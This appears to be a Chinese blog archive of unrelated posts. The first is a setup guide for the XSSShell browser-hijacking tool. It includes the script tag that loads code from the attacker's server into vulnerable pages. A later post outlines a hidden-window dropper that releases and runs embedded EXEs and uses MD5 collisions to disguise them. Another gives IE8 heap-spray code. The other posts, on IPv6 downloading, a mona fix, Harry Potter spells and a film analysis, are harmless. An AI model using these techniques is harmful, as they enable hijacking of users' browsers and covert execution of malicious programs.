XSSShell的使用

最近关注了一下新的WooYun上的WEB漏洞,发现XSS在Web2.0时代真的是如鱼得水,异常活跃。XSS的利用也从简单的弹框,cookie获取,到了能够利用XSSShell实现彻底劫持目标浏览器的目的。XSSShell的功能很丰富,它的存在使得XSS点形成Second Shot,道生一,一生二,二生三,三生万物~并且被XSS的页面能够在新开的页面当中注入同样的代码实现对此后所有页面的JS使用权的驾驭。但真正付诸使用,配置是挺烦的一件事,要改很多文件,想来作者以后应该提供个配置脚本简化这一过程。

 

以最新的版本0.62叙述一下配置的过程,配置的目的如下:

mysite,myxsspath都是依据你自己的ASP空间的真实情况来配置的,xsfile.asp就是原xssshell.asp,我改了个名字而已。

 

将xssshell.asp改名为xsfile.asp ,然后编辑xsfile.asp,修改72行起的四个变量

  • var SERVER = “http://www.mysite.com/myxsspath/admin/“;
  • var ME = SERVER + “xsfile.asp?p=1<%=VicAdd%>” ;
  • var CONNECTOR = SERVER + “admin/connector.asp”;
  • var COMMANDS_URL = SERVER + “admin/commands.asp”;

接下来修改db.asp

  • Const DBPATH=(指向你的站点数据库文件绝对路径)
  • 相信使用XSSShell和拥有Web空间的人都知道怎么获取这个路径,比如用ASP的Server.MapPath。
  • 下面一个参数是口令的设置,搜索w00t这个字符串,然后替换为你希望的口令即可。

准备工作就绪,上传admin目录,db目录和xsfile.asp到指定位置。

只要在有XSS问题的页面插入

<script src=http://www.mysite.com/myxsspath/xsfile.asp />

就可以使用了。登录http://www.mysite.com/myxsspath/admin,管理这些上线的XSSers吧。

 

ipv6的多线程下载

ipv6在教育网和科技网都是主要的资源流通手段,电影游戏等大的资源都是通过这种不花流量不限速度的方式在用户之间传输。utorrent,Filezilla分别可以用于BT和FTP情况下的资源获取工具,对于主流的应用这些工具已经足以应付,因为大部分资源都来自于类似六维这种ipv6的PT站点。 

但偶尔会有一些http下的镜像站点,比如最近想下载一个版本的Linux系统( http://mirrors.ustc.edu.cn/backtrack/ )。其实它本身是支持ipv6下载的,但现有下载工具(迅雷之类的)都不支持ipv6,这样就只能单线程的通过浏览器(IE,FireFox)等下载资源,虽然速度还可以,但像操作系统这种级别的软件下载起来还是很需要耐心的。如果能多线程下载这些资源想来性能也会有很大的提升。

在这样的条件下,有两个解决方案。第一个方案比较通用,但稍微麻烦一些。在windows下,通过netsh设置v4到v6的端口转发,然后使用下载工具填写本机地址下载文件。

具体做法如下,打开CMD

>netsh

netsh>interface portproxy
netsh interface portproxy>add v4tov6 8888 2001:da8:d800:95::110 80
netsh interface portproxy>s a

侦听 IPv4:                 连接到 IPv6:

地址            端口        地址            端口
————— ———-  ————— ———-
*               8888        2001:da8:d800:95::110 80

这里2001:da8:d800:95::110是远程服务器(刚刚我说的那个http站点)的ipv6地址。获取该地址的方法很多,比如通过ping或者nslookup命令(同样是在CMD下输入)。

>nslookup -qt=aaaa mirror.edu.backtrack-cn.org
Server:  localhost
Address:  192.168.1.1

Non-authoritative answer:
mirror.edu.backtrack-cn.org     canonical name = mirrors.ustc.edu.cn
mirrors.ustc.edu.cn     AAAA IPv6 address = 2001:da8:d800:95::110

这样通过迅雷就可以下载目标文件了, 比如目标文件地址为 http://mirrors.ustc.edu.cn/ backtrack/iso/BackTrack5.iso

填写到迅雷中的地址就是http://127.0.0.1:8888/iso/BackTrack5.iso

这种解决方案比较通用,但还有一种更为简单的方法,不过只适合FireFox,安装DownThemAll 这个插件,然后通过它下载就能做到多线程了哈。

 

程序读取自身文件

对于一个正在运行的程序,正常情况下是对于其可执行文件本身是具有读权限的(写权限的没有)。换句话说,如果我想要让程序在运行时读取自身文件中的一些内容应该是可行的idea。使用fopen或者CreateFile等函数当然是可以做到这一点的,另外也可以访问当前内存空间,根据文件到进程的映射关系找到那些你希望从可执行文件中搜索的内容。

不过现在就简单的使用fopen来处理这个问题。对编译好的可执行文件后期处理,在末尾附加的一些字符用于控制程序的执行流程。比如在一个固定的EXE文件后面分别附加Yes和No,生成yes.exe和no.exe,两个程序会因此而有不同的行为表现。当然这种行为的控制要在编译源程序时就已经预定良好。程序本身的运行流程包括在运行时对自身文件末尾的附加数据的提取,并以此产生分支达到流程变异。比如使用前缀碰撞法产生相同MD5的两个EXE,主程序相同,仅末尾附加的256个字符不同。

这当中需要注意的一点是,如果使用VC调试这样的程序,会出现一些问题,比如通过

GetCurrentDirectory(MAX_PATH,currentpath);
strcat(currentpath,'\');
strcat(currentpath,AfxGetApp()->m_pszExeName);
strcat(currentpath,".exe");

会在currentpath中获得当前程序的路径,直接运行不存在问题,但如果使用VC调试的话,currentpath当中获得的并不是真实的可执行程序的路径,而是在当前工程下虚拟出来的一个可执行文件路径便于调试。这也就是为什么VC程序调试时可以把工程文件夹作为相对路径(当前路径)。其实这里currentpath完全可以只用上述代码的后两行来获取,不用获取当前文件夹。

另外根据当前状态释放不同EXE,并选择性执行时,可以采用简单的奇偶比对。这样对于生成的两个EXE,调整最后的几个字节就可以很容易产生不同奇偶性的校验码。

如果是采用MFC来完成这一任务的话,可能需要隐藏窗口和任务栏。下面的两行代码就能很好的解决这个问题。

SetWindowPos(&wndTop,0,0,0,0,NULL);
ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW);

最后要说的一点是关于CreateProcess的,如果想要启动诸如txt或者doc等非可执行文件的话,需要将启动程序改写为notepad或者winword。同时调整commandline参数,比如txt的话需要该参数类似 WORDPAD c:\1.txt。

总结一下:

  • 创建MFC工程,导入两个EXE到资源。
  • 程序流程中包括隐藏窗口和任务栏图标。
  • 流程分支是依据当前可执行程序末尾附加的字符的校验值来判定的,每个分支会去释放一个EXE并且执行。
  • 对于编译好的可执行文件,进行MD5前缀碰撞,产生两个EXE,由于文件尾附加的字符的不同所以可以产生不同的执行流程。看起来好像两个不同的EXE同样的MD5,不同的功能。

mona的Bug修正

Mona是pvefindaddr的接班人,但最新版本(准确说是pvefindaddr2.0.13版开始的所有版本)都有个小问题。

!mona rop -m XXX.dll

命令执行错误,基本原因是immlib库里面的Debugger类函数Assemble()首字母是大写的,而mona里面调用imm.assemble(seq)小写的。修正方式就是对mona.py进行全文字符替换imm.assemble -> imm.Assemble

经过仔细对比,发现是Immunity Debugger版本过低导致的(高版本的immlib已经修改Assemble为小写),如果用1.83+mona就不会有这个问题。我用的ID大概1.73吧~

哈利波特的咒语

不可饶恕咒

阿瓦达索命(索命咒_黑魔法):Avada Kedavra

魂魄出窍 (夺魂咒_黑魔法):Imperio

钻心剜骨(钻心咒_黑魔法):Crucio

黑魔标记(食死徒用咒_黑魔法):Morsmordre

攻击系

尸骨再现(黑魔咒_黑魔法):Morsmordre

统统石化(石化咒):Petrificus Totalus

门牙赛大棒(长出长牙):Densaugeo

一忘皆空(遗忘咒):Obliviate

塔朗泰拉舞(跳舞滴~):Tarantollegra

粉身碎骨(粉碎咒):Reducto

昏昏倒地(昏迷咒):Stupefy

防御系

障碍重重(障碍咒):Impedimento

呼神护卫(守护神咒):Expecto Patronum

阿尼玛格斯(变形咒_傲罗用魔咒):Animagi

除你武器(机械咒):Expelliarmus

咒立停(停止咒):Fubute Ubcabtaten

快快复苏(恢复意识):Enervate

快快禁锢(禁锢咒):Colloportus

盔甲护身(盔甲咒):Protego

幻身咒(隐身咒_傲罗用魔咒):Disillusionment

闪回前咒(闪回咒):Prior Incantato

羽加迪姆勒维奥萨(悬浮咒):Wingardium Leviosa

急急现形(显形咒):Apareciym

滑稽滑稽(对付伯格特):Ridikuius

速速变大(变大咒):Enforgio

速速缩小(缩小咒):Reducio

常用咒语

阿拉霍洞开(开锁咒):Alohomora

荧光闪烁(照明咒):Lumos

声音洪亮(大声咒):Sonorus

悄声细语(小声咒):Puierus

无声无息(无声咒):Quietus

恢复如初(修复咒):Reparo

清理一新(清理咒):Scourgify

火焰熊熊(火焰咒):Incendio

幻影移形(移形咒):Disapparation

飞来飞去(飞来咒):Mobiliarbus

驱逐麻瓜(驱逐咒):Muggle-Repelling Charm

标记显现(标记咒):Flagrate

防水防湿(防水咒):Imperuious

IE8的HeapSpray

JitSpray虽然才是更加可行的方式,但HeapSpray仍然是很好的学习材料。先不管DEP+ASLR等,IE8本身对堆内存分配也有一定的保护。
如下代码在IE6中可以马上分配大块内存,而在IE8中这一过程会被暂缓。

var nop="x90x90x90x90";
while(nop.length<1024*1024) nop+=nop;
var mem=new Array();
for (i=0;i<200;i++) mem[i]=nop;

为了让IE8能够分配堆,需要有显式操作。如alert

alert(mem[0].length); alert(mem[0]);

或者更为隐蔽的方法

In The Cut 的理解

In the Cut里面有四位主要角色Avery(女主角)、Malloy(男主角,侦探)、Pauline(Avery同父异母的妹妹)、Ritchiie(凶手)。

和一般的悬疑题材的连环案影片不同,开场是一段祥和的场景外加缓慢抒情的独唱。Pauline在这悠扬的小调中出场于缤纷落樱的花园,透过枝叶一个男人正在打太极。在女性主义导演坎皮恩的镜头下是女性站在了窥视的角度,画面中Pauline占了主要的成分,轻抿着咖啡杯。导演通过这一镜头传达出她的女性主义倾向,并将贯穿整个电影。

Avery慵懒的享受着清晨的温暖,一阵和煦的小风吹过窗口的风铃才让她警醒,背景音开始发生了变化。影片中首次故事的主线并不是如之前一般的平和,表面的安居乐业暗藏蹊跷。回忆式的老电影片段第一次出现,冰刀下的血痕道出影片的主题In the cut。

Avery对词汇敏感并且熟练的驾驭为她树立起一种全职全能的形象。她对单词短句的喜好,也为她后面地铁中不断收集那些闪现的诗句片段做了铺陈。Avery和Pauline对邻居的反应交代了二者的不同,Avery更为独立,有自己的思想,她们代表了两种不同的女性,显然Avery是女性主义的代表。

Avery和黑人学生Cornelius在酒吧碰面,酒吧里在打台球都是女性,旁观的却是男性(虽然这种场景通常是以男性为主的,但导演告诉我们即使这种很典型的男人休闲项目,女人也是可以热衷的)。黑人学生为Avery提供了一个新词,Avery戴上了眼镜,拿出小本开始记录,暗流涌动的谈话中第一次提及了连环杀人案。Avery所表现出的的冷静从容正是真正贯穿全片的侦探形象。

Avery在去洗手间幽暗的小路上目睹了Susan给Ritchiie口 交并陶醉其中,直到手机响起Ritchiie望向这边Avery才离开。整个过程的影像实际上是Avery内心的情欲流动,女性情感独有的细致描写。导演为了能把女性丰富的情感表现出来,用了很多外在的表现形式,如文字语句,以及一些乍看起来有些无关的场景。

镜头转到上课的黑板,灯塔在片中亮相,灯塔为影片提出了一个待Avery解决的问题。下了课一段敞亮的空镜头过后,Avery出现在地铁上,车厢内的诗词片段直接描写了Avery的内心世界,特别是在她出地铁口时对迎面过来的男人那欲意浓浓的一瞥更直白的道出她身体涌动着的欲望。

男主角Malloy第一次登场是在通向Avery家的楼梯上,不管是接下来的谈话还是在Avery家的举止都可以看出完全是Avery占据了主导地位(一般影片中的男主角通常是以一种主人式身份掌控全局)。Avery陷入了矛盾的感情当中,一方面欲望驱使让她想要接近眼前的Malloy,但曾经父亲的形象的不良影响以及当她发现Malloy手腕上的纹身和在酒吧中目睹的男人的纹身相同时,她的防御性心理又让她想要逃避。Malloy走后,她依然沉浸在是否应该接近这个男人的思考之中。她接下来对钉在墙上的名片的爱抚行为一方面说明她在尽力缓解自己的情欲,另一方面也预示着接下来她会和Malloy走到一起。

由于Avery的欲望过于强烈,她只好通过性自慰的途径解决,数分钟不间断地描写场景描写过程中,镜头中闪现了酒吧中Avery看到的口 交场面,也照应了当时Avery的心理活动。女性的生理需要被提高到了和男性一样的层次,我想这样的片段如果不是出于情 色的商业目的,就只能在女性主义的电影中才可能找到。第二天Avery再次遇到Malloy,被要求到车上谈论案情。虽然是Malloy的要求,但影片的实际表述效果却似是Avery最后作出选择才上了车,永远是女性保持着主动的地位(影片中多次出现类似的表述方式,看起来总是Avery在控制局面)。当两个警察在讨论无关话题话题并忽略了Avery的存在时,Avery马上打断了两者的交谈,表明自己的存在,突出体现了导演对社会给予女性地位不平等的反抗情绪。两个男人在Avery的面前很像是两个争食的猴子。

摇动的车内视角,Avery望向窗外,一个红连衣裙的女子拐过街角在奔跑。这种窗外奔跑的镜头在影片中一共出现两次。这一次我认为其表现了三层意思:画面中不再是男人为主体,即使是一个外景也可以是女性来担当;另外可能说明Avery心猿意马,无心与两个男人的这种问话;第三重含义是映射Avery当时在酒吧逃走时的心情。Ritchiie再次问他是否确定时,Avery反问了相同的问题,Avery很少直接回答是或否这样简单的问题,总是通过巧妙的回答重新占据谈话的股东(女性话语权一直得不到重视,所说的话总是被男人忽略,这里Avery算是在控诉这一点)。车上谈话的片段中窗外第一次出现了美国星条旗,象征着这种自由下却有人恣意逍遥法外,还穿着自由民主的保护衣,似乎也暗示凶手的侥幸心理让他豁然开朗。

Avery到脱 衣 舞厅找到了Pauline,显然Pauline相比Avery更任男人摆布(&rdquo;of course he&rsquo;s right&rdquo;),Pauline的性格与Avery相比软弱许多。两个人,一个象征独立的女权形象能够控制自己的情欲在与男人的相处中占据主动,另一个就仍是男权体系下传统的女性形象,受人摆布。两人最后的命运也说明了两种形象的结局。

第一次看影片时,Avery和Pauline两个人的谈话让我觉得两性之间的沟通真的很糟糕:在此之前一致认为Avery对Malloy很敌意,直到Avery和Pauline吐露了对Malloy的好感时才看清她的真实想法。即便Avery渴望着Malloy,在没有等到Malloy开车来时Avery还是毅然离开,坚守了自己主动的地位。约会时可以看出Malloy确是一个挑情高手,几句话几个动作就明白了Avery的需要。但当Ritchiie出现后,Malloy马上把精力转向了Ritchiie,两个男人的谈话再次忽略了Avery的存在,甚至是在Malloy和Avery的约会中。接下来Ritchiie和Avery的对话直接用了feminist(女权主义者)一词,显式地交代了导演和影片的立场,但该词却带有一种讽刺意味,映射社会中女权主义者被排挤的处境。面对两个男人的冷落,Avery再次毅然离开酒吧,彰显了自己的独立。

Avery遭遇了Ritchiie的袭击(Pauline也遭遇了,但不幸身亡,预示两种女性的下场),但她并没有沉浸在无限的恐慌之中,回到家Avery开始向Malloy了解案情,尝试自己去调查解决整个事端。作为侦探的Malloy显然在整个案件中远不如Avery的感觉敏捷准确。在影片中的几次案情发展中,都是Avery的问话、经历在推进线索浮出水面,而Malloy并没有起到关键的破案作用。在Malloy讲解残忍的凶杀过程中,Avery表现的和老练的警探一样镇定,并不是那种尖叫着惊慌失措着等待男人安抚的典型小女人形象。

短暂的平静过后,Malloy再次激起了Avery的情欲,在两人接下来床 戏部分,是Avery拿来了将女性从怀孕中解放出来的避孕套(积极主动地寻求女性解放)。直到Avery的欲望释放后,她才再次回想起酒吧口 交男的身份,并开始怀疑眼前刚刚和自己温情过后的Malloy,Avery这会儿没有被感情冲昏头脑(再次感慨两性的交流障碍,此时如果两个人能良好地交流,Avery能够继续深入了解下去,就能够发现另一个纹身男Ritchiie的嫌疑性了)。

在Avery和Pauline见面后,Avery再次强调自己的主动地位,并不是let 而是 want,即使是在性这种惯常认为男性占绝对主导地位的事情上。Avery和Pauline对口 交男的态度也再次表明了两种女性的不同点,Pauline对男人是一种依赖和几乎无条件的顺从,在性行为中完全处于被动地位,而Avery则是独立于男性的怀抱。

Avery的前床友尾随跟来(典型的猥琐虚伪男形象),他试图伪装自己的浮躁心胸狭窄(实际上没有任何耐心)。虽然牵着一条狗,但并不是出于爱心,对女人的情感知之甚少,以为情欲和感情是一回事。猥琐男这一角色颠覆一般电影中高大精明豁达的男性形象。在面对这样唯唯诺诺,道貌岸然的猥琐男时,Avery立即选择了离开,而猥琐男则马上歇斯底里如同传统电影中被男人抛弃的女人一样。

地铁的暗示语又一次出现,乍看起来是暗示Avery选择Malloy似乎有问题(这也是当时Avery的心理真实想法),不应该和他呆在一起。实际上从后文看来,是Avery怀疑错了Malloy,真正的凶手是Ritchiie(这才是&lsquo;错误的道路&rsquo;的真正含义)。

Cornelius看似无关的两句话似在暗示Avery因为情欲走在Malloy身边的错误性。影片中多个情节的推动都是这种暗示性语言在发挥作用,这种细腻的构思和好莱坞火爆粗犷的男性电影形成鲜明对比。

美国星条旗又一次出现,只不过这次不是飘扬在上空,而是被死死的固定在墙上,并且被一半黑暗笼罩着,如果说第一次代表Ritchiie的放松心理,这一次就暗示他的黑手就要伸到这里。和一般的变态杀人狂电影的区别是关于Ritchiie的凶杀原因心理状态等并没有讲述,导演故意忽略了男性的感情。

影片中把欲望和感情区分的很开明确,Avery也直接表明现在对Malloy的思念的确就仅是性需求的层面。回忆式的老电影再一次出现,讲述了Avery的父亲向母亲求婚的故事,故事中的戒指和Malloy后来求婚的戒指有一定的联系。实际上随着Avery对Malloy的感情不断加深,Malloy正在取代老电影画面中父亲的形象,Avery开始在摆脱恋父情结。但究竟是如何联系的,导演并没有向男性电影一样用严密的逻辑来阐述。电影作为一种艺术形式,并不需要完全按照逻辑来进行,Avery至今未婚也许和父亲对待母亲的方式有关,但或许也有其他原因,可这些并不一定要有一个答案。

当Pauline说到自己母亲没有结婚,而Avery说到父亲计划第五次结婚时,其实是在预示Ritchiie计划在对Pauline动手了(Ritchiie凶杀时总要戴上戒指,以求婚作为杀人的前奏),接下来提到安洁拉的未婚夫时,也表明Pauline对未婚夫的祈求的结果会是Ritchiie的到来。

Avery再次在地铁中看到了短短的几句标语,字面理解是下一节车厢的那个猥琐男已经远去了,也错引着让观众认为Malloy是凶手。地铁站出现了黑人和婚纱服,这个无关场景究竟什么含义目前还没看明白。

Avery来到警察局找Malloy,Malloy带Avery去郊外,在车上第二次出现了Avery望向窗外看到了奔跑女性的场景。和第一次不同,这回镜头很近,应该已经不包含逃跑的意味,表达Avery内心的急促地想要释放自己情欲。车开入丛林中,远景的颠簸镜头通常用于预示危险的到来,但实际上这仅仅只是导演虚晃一招,和后面Malloy突然开枪一样都是把让观众紧张起来。在丛林深处,Malloy让Avery学着开枪,Avery在Malloy的鼓动下开了两枪,第一枪略带紧张地打偏了,第二枪正中目标(这和影片结尾的情节相呼应,同样是两枪)。

随后,地铁里的暗示语又一次出现,表面看来似乎是指Avery对Malloy的感情淡化了她敏锐的洞察力,实际是指Avery找错了方向,真正的凶手另有其人,同样这也是Avery的真实心理变化。地铁里的暗示语是Avery心理状态改的直接描写,对于女性复杂的心理状态,仅仅靠无声的表情神态很难完全表现,导演的这种暗示性文字起了很大的辅助作用。

在Avery回到Pauline的住处后,真正的悲剧到来,音乐从喧嚣中安静下来,倒也并没有恐怖的声音出现,导演没有去刻意渲染这种残忍恐怖场景的气氛,丰富的女性情怀淡化了很多血腥的场面。血腥的场面在女性丰富的情感下变得不那么突出了,成了配菜。

在警察局,Avery坐在Malloy的桌子前,灯塔和美国星条旗同时出现了,就像征服每个岛屿的探险者一定要插上旗一样。插在灯塔上的旗象征最后的故事将在此终结。到此导演已经让观众完全进入了女性主义的视角,当Avery能够从悲痛中敏锐地发现Malloy的可疑点并直接指出问题时,情节已经变得顺理成章。

Avery回到家,美国星条旗出现在栏杆框架后面,似乎暗示着一种被囚禁着的自由,Avery的世界变得灰暗,心情差到极点。

回忆式的老电影中,冰刀切开了女人身体,象征着Malloy的形象的改变,Avery的怀疑已经十分明确,似乎美好的一切都开始恶化。但从观众角度看来,每一个接触Avery的男性似乎都有嫌疑,而且每一个又好像都有可能最终和Avery走在一起。无论是凶杀,还是抑郁的Avery的家中,影片的画面总是很唯美,淡淡的烛光,略带着影片开始时清晨的那种慵懒感。

Avery本来想要报复Malloy,但在性高潮时分她又陷入了矛盾之中,直到看到钥匙链,她终于确定了内心的恐惧和怀疑,逃离了Malloy。

大结局到来,Avery开始了和Ritchiie最后的较量,Avery看到了酒吧那个纹身的真正主人。她开了两枪,第二枪命中(呼应丛林中的试枪情节),最终Ritchiie倒在了仪式一般的画面当中,女性主义者最终战胜了强 奸犯。

回忆的老电影画面代表了Avery对Malloy的感情,Avery的父亲拥抱母亲的画面说明Avery的恢复了对Malloy的感情。在击毙了Ritchiie之后,Avery并没有如英雄版辉煌的回归,只是温柔的趟回到自己的男人身边。